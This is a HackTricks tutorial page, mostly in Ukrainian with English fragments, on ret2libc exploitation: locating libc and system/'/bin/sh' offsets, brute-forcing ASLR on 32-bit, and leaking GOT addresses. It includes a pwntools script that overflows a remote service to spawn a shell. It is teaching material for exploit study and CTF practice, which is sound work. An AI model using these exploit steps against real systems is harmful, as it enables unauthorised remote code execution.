Ret2lib
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Базова інформація
Суть Ret2Libc полягає в перенаправленні потоку виконання вразливої програми на функцію всередині спільної бібліотеки (наприклад, system, execve, strcpy) замість виконання shellcode, що надається атакуючим, у стеку. Атакуючий формує payload, який змінює адресу повернення в стеку так, щоб вона вказувала на потрібну функцію бібліотеки, одночасно розміщуючи необхідні аргументи відповідно до calling convention.
Приклад кроків (спрощено)
- Отримати адресу функції для виклику (наприклад, system) та команду для виконання (наприклад, /bin/sh)
- Згенерувати ROP chain, щоб передати перший аргумент, що вказує на рядок команди, і перенаправити потік виконання до функції
Знаходження адрес
- Припустимо, що використовується
libcз поточної машини — ви можете знайти, де вона буде завантажена в пам’ять за допомогою:
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
Якщо ви хочете перевірити, чи ASLR змінює адресу libc, ви можете зробити так:
for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
- Знаючи використовувану libc, також можна знайти offset до функції
systemза допомогою:
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
- Знаючи, яка libc використовується, також можна знайти зсув до рядка
/bin/shза допомогою:
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
Використання gdb-peda / GEF
Знаючи використовувану libc, також можна використовувати Peda або GEF, щоб отримати адреси функцій system, exit та рядка /bin/sh :
p system
p exit
find "/bin/sh"
Використання /proc/<PID>/maps
Якщо процес створює дочірні процеси щоразу, коли ви з ним взаємодієте (network server), спробуйте прочитати цей файл (ймовірно, потрібні права root).
Here you can find exactly where is the libc loaded inside the process and where is going to be loaded for every children of the process.
.png)
У цьому випадку він завантажений в 0xb75dc000 (This will be the base address of libc)
Невідома libc
Можливо, ви не знаєте, яку libc завантажує бінарний файл (бо вона може знаходитися на сервері, до якого у вас немає доступу). У такому випадку можна використати вразливість, щоб leak кілька адрес і визначити, яка libc використовується:
І шаблон для pwntools для цього можна знайти в:
Визначення libc за 2 офсетами
Перевірте сторінку https://libc.blukat.me/ і використайте кілька адрес функцій всередині libc, щоб дізнатися версію, яка використовується.
Обхід ASLR у 32-бітних системах
These brute-forcing attacks are only useful for 32bit systems.
- Якщо експлоїт локальний, можна спробувати brute-force базову адресу libc (корисно для 32bit систем):
for off in range(0xb7000000, 0xb8000000, 0x1000):
- Якщо ви атакуєте віддалений сервер, ви можете спробувати burte-force адресу функції
libcusleep, передавши їй як аргумент 10 (наприклад). Якщо в якийсь момент сервер відповідає на 10s довше, ви знайдете адресу цієї функції.
One Gadget
Виконати shell, просто перейшовши на одну конкретну адресу в libc:
x86 Ret2lib Приклад коду
У цьому прикладі ASLR brute-force інтегровано в код, а вразливий бінарний файл розташований на віддаленому сервері:
from pwn import *
c = remote('192.168.85.181',20002)
c.recvline()
for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()
x64 Ret2lib Приклад коду
Check the example from:
ARM64 Ret2lib Приклад
У випадку ARM64 інструкція ret переходить туди, куди вказує регістр x30, а не туди, куди вказує регістр стеку. Тому це трохи складніше.
Також в ARM64 інструкція робить саме те, що вона робить (неможливо стрибнути всередину інструкції і перетворити її на іншу).
Check the example from:
Ret-into-printf (or puts)
Це дозволяє leak information from the process викликом printf/puts з певними даними, розміщеними як аргумент. Наприклад, поміщення адреси puts з GOT у виклик puts leak the address of puts in memory.
Ret2printf
Це, по суті, означає зловживання Ret2lib to transform it into a printf format strings vulnerability шляхом використання ret2lib для виклику printf з потрібними значеннями для експлуатації (звучить непотрібно, але можливо):
Other Examples & references
- https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html
- Ret2lib, given a leak to the address of a function in libc, using one gadget
- https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html
- 64 bit, ASLR enabled but no PIE — перший крок: заповнити overflow до байта 0x00 канарки, потім викликати
putsі leak її. Маючи canary, створюється ROP gadget для викликуputsщоб leak адресуputsз GOT і потім ROP gadget для викликуsystem('/bin/sh'). - https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html
- 64 bits, ASLR enabled, no canary — stack overflow в main зі сторони дочірньої функції. ROP gadget для виклику
putsщоб leak адресуputsз GOT, а потім виклик one gadget. - https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html
- 64 bits, no pie, no canary, no relro, nx. Використовує
writeдля leak адресиwrite(libc) і викликає one gadget. - https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html
- Використовує format string для leak канарки зі стеку та buffer overflow для виклику в
system(вона в GOT) з адресою/bin/sh. - https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html
- 32 bit, no relro, no canary, nx, pie. Зловживання поганою індексацією для leak адрес libc і heap зі стеку. Зловживання buffer overflow для виконання ret2lib виклику
system('/bin/sh')(потрібна адреса heap для обходу перевірки).
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.


